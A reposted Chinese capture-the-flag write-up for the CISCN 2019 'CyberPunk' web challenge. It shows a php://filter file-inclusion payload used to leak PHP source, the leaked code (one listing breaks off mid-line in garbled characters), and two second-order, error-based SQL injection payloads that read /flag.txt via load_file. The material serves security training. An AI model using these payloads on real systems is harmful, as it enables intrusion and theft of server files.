ciscn2019華北賽區半決賽day1web5CyberPunk


剛比賽完的一段時間期末考試雲集,沒有時間復現題目。趁着假期,爭取多復現幾道題。

復現平台

buuoj.cn

解題過程

首先進入題目頁面
index

看起來沒有什么特別的,就是一個可以提交信息的頁面。查看響應報文也沒有什么提示,但是在網頁注釋里有東西。

<!--?file=?-->

這里可能有一個文件包含,嘗試payload

http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php

結果得到了當前頁面經過加密后的源碼
源碼

有關偽協議的內容,可以大致參考下這篇文章:https://www.cnblogs.com/dubhe-/p/9997842.html

<?php
ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>
//HTML頁面的代碼省略,保留之前說的注釋
<!--?file=?-->

用同樣的方法,根據表單中暴露的位置,獲取confirm.php,change.php,search.php等頁面的內容。

<?php
#change.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单ä


<?php
#search.php
require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
#無用的HTML代碼省略

分析代碼可以知道,每個涉及查詢的界面都過濾了很多東西來防止SQL注入,而且過濾的內容非常廣泛,很難進行注入。

但是盡管username和phone過濾非常嚴格,而address卻只是進行了簡單的轉義。經過分析便找到了可以利用的地方。這里提取了一些change.php中和address相關的部分。

$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }

可以看出,address會被轉義,然后進行更新,也就是說單引號之類的無效了。但是,在地址被更新的同時,舊地址被存了下來。如果第一次修改地址的時候,構造一個含SQL語句特殊的payload,然后在第二次修改的時候隨便更新一個正常的地址,那個之前沒有觸發SQL注入的payload就會被觸發。

思路有了以后,接下來就是構造payload,下面將借助報錯注入來構造payload。

payload構造

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

直接load_file不能顯示全,這里分兩次構造payload。

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

結果如下
半個flag
余下flag

payload使用

兩個payload的使用方法為:

先在初始頁面隨便輸數據,記住姓名電話
余下flag

接着修改地址,地址修改為所構造的payload。修改之后再次修改,將地址設置為隨便一個正常值,比如1,這樣就能看到報錯頁面。
修改地址

如果想要使用新的payload,只需要刪除訂單在重復以上操作即可。
刪除訂單


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM